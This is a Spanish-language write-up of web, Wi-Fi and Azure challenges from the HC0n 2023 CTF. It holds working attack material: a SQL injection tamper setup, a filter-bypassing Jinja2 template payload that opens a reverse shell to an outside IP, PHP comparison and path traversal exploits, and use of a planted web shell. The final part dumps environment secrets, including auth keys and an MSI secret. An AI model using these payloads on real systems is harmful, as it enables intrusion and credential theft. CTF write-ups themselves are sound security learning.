hC0n CTF 2023 (Spanish)
Content
Intro#
Writeups de los retos resueltos en el CTF de HC0n 2023. Disculpas por la brevedad de las notas y falta de capturas de algunos retos, cualquier duda, sugerencias/ideas para resolver los retos de otras formas, o correciones de errores comentad sin miedo.
Hello Telegram (Welcome)#
Copy paste de grupo Telegram h-c0n 2023 CTF
Flag: hc0nCTF{Y34h_4_st4Nd4rD_t3l3grAm_fl4G!}
Sleepy Welcome (Welcome)#
Binario bien gordito de sleeps, los pisamos con LD_PRELOAD para que en vez de dormir sea inmediato:
// Bypass common C sleep functions
#include <time.h>
#include <unistd.h>
int clock_nanosleep(clockid_t clockid, int flags,
const struct timespec *request,
struct timespec *remain) {
return 0;
}
unsigned int sleep(unsigned int seconds)
{
return 0;
}
int usleep(useconds_t usec)
{
return 0;
}
int nanosleep(const struct timespec *req, struct timespec *rem)
{
return 0;
}
gcc inject.c -shared -fPIC -o inject.so
LD_PRELOAD="$PWD/inject.so" ./welcome
Hall of Sh0n - Flag 1 (Web)#
User test
segun comentario en source. Contraseña probando a mano típicas funciona password
.
Flag: hc0nCTF{TBH_n0t_4_veRy_h4Rd_ch41l3Ng3_f0R_sH0n}
Hall of Sh0n - Flag 2 (Web)#
La saca intruder probando a cambiar el id del usuario, con id 9 da resultado diferente.
hc0nCTF{SH0n_H4s_n3V3r_b3En_G00d_At_s3TT1ng_c00K13s}
Hall of Sh0n - Flag 3 (Web)#
Descargamos el codigo fuente de la app, da la URL en el source, y reverseamos la DLL de la web. Vemos SQLi al votar a cada persona, pero el paylaod tiene que estar cifrado, y no parece facil exfiltrar la flag directamente. Hora de tirar de SQLMap, somos unos vagos.
Implementamos un tamper que cifre los payloads de sqlmap: dos partes, el .net copy pasteando el código relevante, y el python para interactuar con sqlmap. Minimo esfuerzo?
using System;
using System.Security.Cryptography;
using System.Text;
using System.IO;
public class HomeController
{
private static string password = "Shon_m4nda_y No_tu_B4nda";
public static void Main(string[] args)
{
//Console.WriteLine(HomeController.Decrypt("nn1FLHWWHaAe70bplZ5DTg=="));
Console.WriteLine(HomeController.Encrypt(Encoding.UTF8.GetString(Convert.FromBase64String(args[0]))));
}
public static string Encrypt(string plainText)
{
if (plainText == null)
return (string) null;
byte[] bytes1 = Encoding.UTF8.GetBytes(plainText);
byte[] bytes2 = Encoding.UTF8.GetBytes(HomeController.password);
byte[] hash = SHA512.Create().ComputeHash(bytes2);
return Convert.ToBase64String(HomeController.Encrypt(bytes1, hash));
}
public static string Decrypt(string encryptedText)
{
if (encryptedText == null)
return (string) null;
byte[] bytesToBeDecrypted = Convert.FromBase64String(encryptedText);
byte[] bytes = Encoding.UTF8.GetBytes(HomeController.password);
byte[] hash = SHA512.Create().ComputeHash(bytes);
return Encoding.UTF8.GetString(HomeController.Decrypt(bytesToBeDecrypted, hash));
}
private static byte[] Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
byte[] salt = new byte[8]
{
(byte) 13,
(byte) 37,
(byte) 13,
(byte) 37,
(byte) 13,
(byte) 37,
(byte) 13,
(byte) 37
};
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cryptoStream.Close();
}
return memoryStream.ToArray();
}
}
}
private static byte[] Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] salt = new byte[8]
{
(byte) 13,
(byte) 37,
(byte) 13,
(byte) 37,
(byte) 13,
(byte) 37,
(byte) 13,
(byte) 37
};
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cryptoStream.Close();
}
return memoryStream.ToArray();
}
}
}
public static string GetSHA1(string texto)
{
byte[] hash = SHA1.Create().ComputeHash(Encoding.Default.GetBytes(texto));
StringBuilder stringBuilder = new StringBuilder();
foreach (byte num in hash)
stringBuilder.AppendFormat("{0:x2}", (object) num);
return stringBuilder.ToString();
}
}
Compilamos con Visual Studio, renombramos a bonito.exe y nos lo llevamos a la carpeta de sqlmap. El tamper, guarrada.py, lo colocamos en la carpeta de tampers de sqlmap:
#!/usr/bin/env python
import re
import base64
import os
from lib.core.enums import PRIORITY
priority = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
encoded = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
encrypted = os.popen('bonito.exe ' + encoded).read().replace('\n', '')
return encrypted
Y lanzamos sqlmap con –tamper=guarrada y pidiendo dump de la tabla flags.
Flag: hc0nCTF{D4mmmn_sh0N_St0P_Pr0GR4mM1ng_SH1tTy_qu3ri3S}
Self Browser (Web)#
Enumeracion: /browser permite mostrar contenido URLs aleatorias usando SSRF. /dev 403. Usamos SSRF para ver /dev
localhost:5000/dev?name vulnerable XSS, possible SSTI bloqueado por filtro. Haciendo pruebas char a char cada vez que bloquea una peticion, la blacklist es aproximadamente:
{{, }}, [ y ] __, y {% con mas de un espacio%}
Construimos payload reverse shell paso a paso. Ejemplos muy buenos en los que me he basado: https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/ Generador reversas: https://www.revshells.com/
POST /browser HTTP/1.1
Host: 161.35.71.251:50000
Content-Length: 971
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymzPBRxBE0v6ifc8T
Accept: */*
Origin: http://161.35.71.251:50000
Referer: http://161.35.71.251:50000/browser
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundarymzPBRxBE0v6ifc8T
Content-Disposition: form-data; name="url-input"
http://localhost:50000/dev?name={%if request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('\x70\x79\x74\x68\x6f\x6e\x33\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x2c\x70\x74\x79\x2c\x73\x6f\x63\x6b\x65\x74\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x22\x35\x35\x2e\x31\x33\x2e\x35\x31\x2e\x31\x35\x34\x22\x2c\x35\x38\x31\x32\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x29\x66\x6f\x72\x20\x66\x20\x69\x6e\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x62\x61\x73\x68\x22\x29\x27')|attr('read')()%}A{%endif%}
------WebKitFormBoundarymzPBRxBE0v6ifc8T--
Recibimos la reversa
root@4098e3c1c7b5:/python-docker# grep -ri "hc0n" /
/home/flag.txt:hc0nCTF{n4h_I_4m_n0t_r3nd3R1nG_m0Re_bR0ws3rs}
Shop-API (Web)#
Prototype Pollution en utils.js, usando mergeDeep. En este tipo de retos me gusta ir hacia atrás, desde la flag hacia las entradas o acciones que puede hacer el usuario:
- La flag la devuelve la app al comprar el producto flag.
- Para comprar el producto flag necesitamos saldo suficiente
- Comprar un producto resta saldo, si el precio es negativo, aumentaria nuestro saldo.
- Para crear un producto necesitamos permiso de admin.
- Para conseguir permiso de admin, podemos usar el prototype pollution.
Confirmamos pollution en la consola del navegador:
function isObject(item) {
return (item && typeof item === 'object' && !Array.isArray(item));
}
function mergeDeep(target, ...sources) {
if (!sources.length) return target;
const source = sources.shift();
if (isObject(target) && isObject(source)) {
for (const key in source) {
if (isObject(source[key])) {
if (!target[key]) Object.assign(target, { [key]: {} });
mergeDeep(target[key], source[key]);
} else {
Object.assign(target, { [key]: source[key] });
}
}
}
return mergeDeep(target, ...sources);
}
console.log('Before: ' + {}.polluted)
mergeDeep({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)
En Javascript, si un objeto no tiene una propiedad, mira en su prototype. Al crear el usuario, los roles NO contiene isAdmin. Si contuviera isAdmin a false, no funcionaría.
if (user.roles && user.roles.isAdmin) {
roles["isAdmin"] = true;
}
mergeDeep
se usa para juntar configuración del usuario, con el campo extra que podemos definir a través de la API.
let extra = JSON.parse(userObject.configuration.extra)
let userConfiguration = { ...userObject.configuration, ...extra };
let mergedConfiguration = customUtils.mergeDeep(config.defaultConfiguration, userConfiguration);
La clave es que el esquema del usuario especifica roles por defecto = { isBasic: true }
, sin isAdmin.
const userSchema = new Schema({
username: { type: String, required: true, unique: true },
email: {
type: String, required: true, unique: true, validate: {
validator: function (v) {
var emailRegex = /^([\w-\.]+@([\w-]+\.)+[\w-]{2,4})?$/;
return emailRegex.test(v);
}
}
},
password: { type: String, required: true },
roles: { type: Object, required: false, default: () => ({ isBasic: true }) }, //Custom role system, default role is basic_user. More roles can be added
configuration: {
type: configurationSchema,
required: true,
default: () => ({})
},
wallet: { type: Number, required: true, default: 5000 },
});
Para hacer las llamadas a la API cómodamente, probar todo en local y luego tirar contra el servidor real he usado Postman.
Private Halborn Portal (Web)#
Enumeración: ?debug devuelve el codigo fuente
<html style="background-image: url('img.jpg');">
<?php
$username = "halbornautest";
function generate_reset_token($username) {
$time = intval(microtime(true) * 1000);
$token = md5($username . $time);
return $token;
}
function get_token($file) {
$fh = fopen($file, "r");
$token = fread($fh, filesize($file));
$token = str_replace(PHP_EOL, '', $token);
fclose($fh);
return $token;
}
if(isset($_POST['submit'])){
$token = generate_reset_token($username);
echo '<span style="color:#AFA;text-align:center;">This is halbornautest token '.$token.' | Timestamp: '.intval(microtime(true) * 1000).'</span>';
//target token is generated when user submit request
$halborn_admin = "halbornaut";
sleep(2);
$admin_token = generate_reset_token($halborn_admin);
$token_file = "/tmp/".$token;
// create and write tokenfile
$fh = fopen($token_file, "w") or die("Unable to open file!");
fwrite($fh, $admin_token);
fclose($fh);
setcookie("token",$token); //good job developer you are using $token and NOT $admin_token. Promoted!
}
if(isset($_POST['admin'])) {
$token = $_POST["admin"];
$token_file = "/tmp/".$_COOKIE["token"];
$valid = get_token($token_file);
if ($token === $valid) {
if (isset($_COOKIE['token'])) {
unset($_COOKIE['token']);
setcookie('token', '', time() - 3600, '/');
}
session_start();
$_SESSION["admin"] = $token;
header("Location: private.php");
} else {
echo '<span style="color:#AFA;text-align:center;">Wrong Token</span>';
}
}
if (isset($_GET['debug'])) {
echo highlight_file(__FILE__, true);
}
?>
<title>Halborn Access</title>
<h1 style="color: white;"><center>Login</center></h1>
<hr><br>
<center>
<!-- Important! remove this `halbornautest` generation token debug -->
<form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="token">
<div class="form-element">
<label style="color: white;"><code>halbornautest</code> generation token </label>
</div>
<br>
<button type="submit" name="submit" value="submit">Submit</button>
</form>
</center>
<center>
<form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="signin-form">
<div class="form-element">
<label style="color: white;">Use <code>halbornaut</code> token: </label>
<input name="admin" required />
</div>
<br>
<button type="submit">Log In</button>
<!-- Token `halbornaut` is generated when `halbornautest` POST request is made -->
</form>
</center>
</html>
Login
halbornautest generation token
Submit
Use halbornaut token:
Log In
md5(username+timestamp) para generar los tokens. Genera token de user, duerme 2 segundos, genera el de admin. Sabemos los dos usernames, y el timestamp de admin podemos calcularlo sumando 2 segundos al timestamp que devuelve el servidor.
Al superar la comprobación, pasamos al siguiente paso private.php
.
<html style="background-image: url('img.jpg');">
<?php
session_start();
if (empty($_SESSION["admin"])) {
header("Location: form.php");
die("bye bye");
}
require_once 'secret.php';
if (isset($_POST['username']) && isset($_POST['password'])) {
if (strcmp($_POST['username'], base64_encode($user)) == 0) {
if (sha1($_POST['password']) == md5($passwd)) {
session_start();
if (isset($_SESSION['password'])) {
header("Location: manager.php");
} else {
$_SESSION['password'] = "manager";
session_write_close();
sleep(4);
session_start();
unset($_SESSION['password']);
}
} else {
die("Welcome Welcome, LONG HALBORN!");
}
} else {
die("Bye halbornaut!");
}
}
if (isset($_GET['debug'])) {
echo highlight_file(__FILE__, true);
}
if(isset($_POST['debug'])) {
echo var_dump($_SESSION);
die();
}
?>
<title>Private Portal</title>
<h1 style="color: white;"><center>Private Portal</center></h1>
<hr><br>
<center>
<form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="signin-form">
<div class="form-element">
<label style="color: white;">Username: </label>
<input type="name" name="username" required />
</div>
<br>
<div class="form-element">
<label style="color: white;">Password: </label>
<input type="password" name="password" required />
</div>
<br>
<button type="submit" name="login" value="login">Log In</button>
</form>
</center>
</html>
Private Portal
Username:
Password:
Log In
Míticos errores de php loose comparison, la comparacion de password nos la saltamos con un hash que tenga aspecto de numero en notacion cientifica (0e12 == 0e98) y el nombre con un array:
POST /private.php HTTP/1.1
Host: 161.35.71.251:50010
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=feeornk8kfpqgk2lbkjqsvelge
Connection: close
username[]=any&password=aaroZmOk
Al superar la comprobación, pasamos al siguiente paso manager.php
. Recibimos el código fuente en una cabecera:
Halborn: HalbornWeb2Rulez->PD9waHAKCnJlcXVpcmVfb25jZSAnc2VjcmV0LnBocCc7IApzZXNzaW9uX3N0YXJ0KCk7CgpmdW5jdGlvbiBwYXNzd29yZF9nZW5lcmF0ZSgkY2hhcnMsJHVzZXJfcGluKQp7CiAgICAgICAgJGRhdGEgPSAkdXNlcl9waW4uJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZWZnaGlqa2xtbm9wcXJzdHV2d3h5eic7CiAgICAgICAgcmV0dXJuIHN1YnN0cihzdHJfc2h1ZmZsZSgkZGF0YSksIDAsICRjaGFycyk7Cn0KCmlmKCFpc3NldCgkX1NFU1NJT05bJ3Bhc3N3b3JkJ10pKXsKICAgIGhlYWRlcigiTG9jYXRpb246IGluZGV4LnBocD90cnktaGFyZGVyIik7CiAgICBkaWUoKTsKfSBlbHNlIHsKICAgIGlmKCFpc3NldCgkX0dFVFttZDUoJ3Bpbmdib2FyZCcpXSkpeyAjc29tZSBsZWFrcwogICAgICAgICRsZWFrID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cyhiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpKTsKICAgICAgICBoZWFkZXIoIkhhbGJvcm46IEhhbGJvcm5XZWIyUnVsZXotPiRsZWFrIik7CiAgICAgICAgZGllKCk7CiAgICB9ICAKfQoKaWYoaXNzZXQoJF9HRVRbJ2RlYnVnJ10pKSB7IAogICAgZWNobyB2YXJfZHVtcCgkX1NFU1NJT04pOwogICAgZGllKCk7Cn0KCiRjb29raWVfdmFsdWUgPSAiaGFsYm9ybk9yZyI7CmlmIChpc3NldCgkX0NPT0tJRVsiZGVwYXJ0bWVudCJdKSkgewogICAgICAgIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojQUZBO3RleHQtYWxpZ246Y2VudGVyOyI+V2VsY29tZSB0byAnLiRfQ09PS0lFWyJkZXBhcnRtZW50Il0uJzwvc3Bhbj4nOwogICAgICAgICRpbmZvID0gImluZm8vIi4kX0NPT0tJRVsiZGVwYXJ0bWVudCJdOyAKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGluZm8pKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8c3BhbiBzdHlsZT0iY29sb3I6I0FGQTt0ZXh0LWFsaWduOmNlbnRlcjsiPjxwPjxzdHJvbmc+RGVwYXJ0bWVudDo8L3N0cm9uZz48L3A+PC9zcGFuPjxwPjxwcmU+JzsKICAgICAgICAgICAgICAgIGluY2x1ZGUgKCRpbmZvKTsKICAgICAgICAgICAgICAgIGVjaG8gJzwvcHJlPjwvcD4nOyAKICAgICAgICAgICAgICAgIGlmIChpc3NldCAoJF9SRVFVRVNUWydpZCddKSAmJiBpc19udW1lcmljICgkX1JFUVVFU1RbJ2lkJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojQUZBO3RleHQtYWxpZ246Y2VudGVyOyI+PHA+PHN0cm9uZz5QYXNzd29yZCBnZW5lcmF0ZSBzdWNjZXNmdWxseTwvc3Ryb25nPjwvcD48L3NwYW4+JzsgLy9ObyBpbXBsZW1lbnRlZCBzdG9yZWQgdXNlciBwYXNzd29yZCB5ZXQuCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojQUZBO3RleHQtYWxpZ246Y2VudGVyOyI+VXNlcjogJy4kX1JFUVVFU1RbInVzZXJuYW1lIl0uJyB5b3VyIHBhc3N3b3JkIGlzOiAnLnBhc3N3b3JkX2dlbmVyYXRlKDM1LCRfUkVRVUVTVFsnaWQnXSkuJzwvc3Bhbj4nOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0gCiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBlY2hvICc8cD5ObyBkZXBhcnRtZW50IGZvdW5kPC9wPic7CiAgICAgICAgfQoKCn0gZWxzZSB7CiAgICAgICAgZWNobyAiPGRpdiBjbGFzcz0ndG9wJz5Mb2dnZWQgaW4gYnV0IGNvb2tpZSBub3Qgc2V0PGJyLz5SZWZyZXNoIDwvZGl2PiI7CiAgICAgICAgc2V0Y29va2llKCdkZXBhcnRtZW50JywgJGNvb2tpZV92YWx1ZSwgdGltZSAoKSArICg4NjQwMCAqIDMwKSk7Cn0KCj8+Cgo8aHRtbCBzdHlsZT0iYmFja2dyb3VuZC1pbWFnZTogdXJsKCdpbWcuanBnJyk7Ij4KICAgIDx0aXRsZT5IYWxib3JuIFBpbmdCb2FyZCBPcmdhbml6YXRpb248L3RpdGxlPgogICAgPGgxIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij48Y2VudGVyPlRoaXMgc2l0ZSBkaXNwbGF5IGRlcGFydGFtZW50cyBuYW1lcy48L2NlbnRlcj48L2gxPgogICAgPHAxIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij48Y2VudGVyPkl0J3MgaW1wb3NpYmxlIHRvIGFjY2VzcyBvbiB0aGlzIHNpdGUuIFJlYXNvbiwgaGFsYm9ybiBkZXZlbG9wZXJzIGlzIHdvcmtpbmcgb248Y2VudGVyPjwvcDE+CiAgICA8YnI+PGhyPjxicj4KCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD9waHAgYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOyA/PiIgbmFtZT0iZ2l2ZSBtZSBmbGFnZyI+CiAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1lbGVtZW50Ij4KICAgICAgICAgICAgPGxhYmVsIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij5Mb2dpbiAoTm90IGZpbmlzaGVkIHlldCEpPGxhYmVsPgogICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InVzZXJuYW1lIiByZXF1aXJlZCAvPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9ImlkIiByZXF1aXJlZCAvPgogICAgICAgICAgICA8YnI+PGJyPgogICAgICAgIDwvZGl2PgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJHbyI+TG9nIEluPC9idXR0b24+CiAgICA8L2Zvcm0+CjwvaHRtbD4K
From base 64:
<?php
require_once 'secret.php';
session_start();
function password_generate($chars,$user_pin)
{
$data = $user_pin.'ABCDEFGHIJKLMNOPQRSTUVWXYZabcefghijklmnopqrstuvwxyz';
return substr(str_shuffle($data), 0, $chars);
}
if(!isset($_SESSION['password'])){
header("Location: index.php?try-harder");
die();
} else {
if(!isset($_GET[md5('pingboard')])){ #some leaks
$leak = base64_encode(file_get_contents(basename($_SERVER['PHP_SELF'])));
header("Halborn: HalbornWeb2Rulez->$leak");
die();
}
}
if(isset($_GET['debug'])) {
echo var_dump($_SESSION);
die();
}
$cookie_value = "halbornOrg";
if (isset($_COOKIE["department"])) {
echo '<span style="color:#AFA;text-align:center;">Welcome to '.$_COOKIE["department"].'</span>';
$info = "info/".$_COOKIE["department"];
if (file_exists($info)) {
echo '<span style="color:#AFA;text-align:center;"><p><strong>Department:</strong></p></span><p><pre>';
include ($info);
echo '</pre></p>';
if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) {
echo '<span style="color:#AFA;text-align:center;"><p><strong>Password generate succesfully</strong></p></span>'; //No implemented stored user password yet.
echo '<span style="color:#AFA;text-align:center;">User: '.$_REQUEST["username"].' your password is: '.password_generate(35,$_REQUEST['id']).'</span>';
}
}
else {
echo '<p>No department found</p>';
}
} else {
echo "<div class='top'>Logged in but cookie not set<br/>Refresh </div>";
setcookie('department', $cookie_value, time () + (86400 * 30));
}
?>
<html style="background-image: url('img.jpg');">
<title>Halborn PingBoard Organization</title>
<h1 style="color: white;"><center>This site display departaments names.</center></h1>
<p1 style="color: white;"><center>It's imposible to access on this site. Reason, halborn developers is working on<center></p1>
<br><hr><br>
<form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="give me flagg">
<div class="form-element">
<label style="color: white;">Login (Not finished yet!)<label>
<br><br>
<input type="password" name="username" required />
<input type="password" name="id" required />
<br><br>
</div>
<button type="submit" name="submit" value="Go">Log In</button>
</form>
</html>
POST /manager.php?d530e40ef2bea4f90d7a72759f328023 HTTP/1.1
Host: 161.35.71.251:50010
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://161.35.71.251:50010
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://161.35.71.251:50010/private.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=feeornk8kfpqgk2lbkjqsvelge; department=../../../../home/flag.txt
Connection: close
username[]=any&password=aaroZmOk
HTTP/1.1 200 OK
Date: Wed, 22 Feb 2023 23:42:16 GMT
Server: Apache/2.4.39 (Unix)
X-Powered-By: PHP/7.2.19
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1010
Connection: close
Content-Type: text/html; charset=UTF-8
<span style="color:#AFA;text-align:center;">Welcome to ../../../../home/flag.txt</span><span style="color:#AFA;text-align:center;"><p><strong>Department:</strong></p></span><p><pre>hc0nCTF{h4h4_sT1lL_Us1nG_PHP_f0r_R34l??!!?11?}
</pre></p>
<html style="background-image: url('img.jpg');">
<title>Halborn PingBoard Organization</title>
<h1 style="color: white;"><center>This site display departaments names.</center></h1>
<p1 style="color: white;"><center>It's imposible to access on this site. Reason, halborn developers is working on<center></p1>
<br><hr><br>
<form method="post" action="" name="give me flagg">
<div class="form-element">
<label style="color: white;">Login (Not finished yet!)<label>
<br><br>
<input type="password" name="username" required />
<input type="password" name="id" required />
<br><br>
</div>
<button type="submit" name="submit" value="Go">Log In</button>
</form>
</html>
Hackable Router 1 (Wi-Fi)#
Resuelto a botonazo con https://github.com/v1s1t0r1sh3r3/airgeddon, ataque a WPS null pin.
Hackable Router 2 (Wi-Fi)#
Resuelto a botonazo con https://github.com/v1s1t0r1sh3r3/airgeddon, usando opciones WPA, PMKID, y bruteforce al hash con el diccionario que nos dan en el anterior reto poniendo prefijo y sufijo de la pista.
NotHound - Flag 1 (Active Directory)#
Web: https://coolhacking.azurewebsites.net/ Vulnerable a Command Injection https://coolhacking.azurewebsites.net/2584373h1uddjakdaping.php?ip=127.0.0.1%3B+dir
127.0.0.1; dir
\r HINT exp.b64 index.html
-I HINT2 exp_dir index.php
2584373h1uddjakdaping.php exp hostingstart.html p0wny-shell.php
Aprovechamos la p0wny-shell que amablemente ha dejado otra persona. Limpiad después de resolver el reto, o facilitáis la vida a los que venimos detrás :P
Hints
p0wny@shell:…/site/wwwroot# cat HINT
coolhacking.AZUREwebsites.net
2584373h1uddjakdaping.php , index.html , hostingstart.html and index.php are the only original files
p0wny@shell:…/site/wwwroot# cat HINT2
@BORCH: I love "azure ad pentesting" ! Dont you?
Environment
USE_DIAG_SERVER=true
PHP_EXTRA_CONFIGURE_ARGS=--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi ac_cv_func_mmap=no
LANGUAGE=C.UTF-8
USER=www-data
REGION_NAME=
PLATFORM_VERSION=99.0.10.818
HOSTNAME=bab7eb76342a
PHP_INI_DIR=/usr/local/etc/php
WEBSITE_INSTANCE_ID=3d969062b12706aa921ba6f7f4c26a884fc792c54850a4f005b1ea7d588edb84
IDENTITY_HEADER=4aa4b958-00d4-446c-bde2-d79077d205b0
SHLVL=1
PORT=8080
HOME=/var/www
WEBSITE_RESOURCE_GROUP=coolhacking_group
OLDPWD=/home/site/wwwroot
DIAGNOSTIC_LOGS_MOUNT_PATH=/var/log/diagnosticLogs
ORYX_ENV_TYPE=AppService
WEBSITE_HOME_STAMPNAME=waws-prod-blu-401
ScmType=None
DOCKER_SERVER_VERSION=19.03.15+azure
PHP_LDFLAGS=-Wl,-O1 -Wl,--hash-style=both -pie
PHP_MD5=
NGINX_RUN_USER=www-data
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.2
WEBSITE_HOSTNAME=coolhacking.azurewebsites.net
NUM_CORES=2
WEBSITE_STACK=PHP
ORYX_ENV_NAME=coolhacking
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC 39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A
WEBSITE_ROLE_INSTANCE_ID=0
PHP_ASC_URL=https://www.php.net/get/php-8.2.1.tar.xz.asc/from/this/mirror
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
WEBSITE_AUTH_ENCRYPTION_KEY=8749695B7618080C0FD34E164C05BD4A95119D9075618301DE0DE77C32E74FF4
_=/opt/startup/startup.sh
WEBSITE_ISOLATION=lxc
PHP_URL=https://www.php.net/get/php-8.2.1.tar.xz/from/this/mirror
WEBSITE_SITE_NAME=coolhacking
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/site/wwwroot
APPSETTING_WEBSITE_SITE_NAME=coolhacking
LANG=C.UTF-8
MSI_ENDPOINT=http://169.254.129.2:8081/msi/token
WEBSITE_AUTH_ENABLED=False
MSI_SECRET=4aa4b958-00d4-446c-bde2-d79077d205b0
NGINX_DOCUMENT_ROOT=/home/site/wwwroot
APPSETTING_WEBSITE_AUTH_ENABLED=False
WEBSITE_OWNER_NAME=cc41d3d4-2369-421e-8f0b-166e4b339380+coolhacking_group-EastUSwebspace-Linux
NGINX_PORT=8080
APACHE_RUN_USER=ud57389309d7950afa53fe0
WEBSITE_USE_DIAGNOSTIC_SERVER=False
PWD=/home/site/wwwroot
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
IDENTITY_ENDPOINT=http://169.254.129.2:8081/msi/token
LC_ALL=C.UTF-8
APPSVC_RUN_ZIP=FALSE
PHP_SHA256=650d3bd7a056cabf07f6a0f6f1dd8ba45cd369574bbeaa36de7d1ece212c17af
COMPUTERNAME=lw1mdlwk00003V
PHP_ORIGIN=php-fpm
SSH_PORT=2222
APPSETTING_ScmType=None
WEBSITE_AUTH_SIGNING_KEY=0792F00BD4235900C5E2F596233294E6B181B31A6826A57333DDA940679E58F2
ORYX_AI_INSTRUMENTATION_KEY=4aadba6b-30c8-42db-9b93-024d5c62b887
WEBSITE_SKU=Basic
CNB_STACK_ID=oryx.stacks.skeleton
Vemos un endpoint parecido al metadata de AWS, docs de Microsoft
https://learn.microsoft.com/en-us/azure/key-vault/general/overview https://learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview https://learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/
Pedimos un vault token, para poder usar la API que almacena secretos.
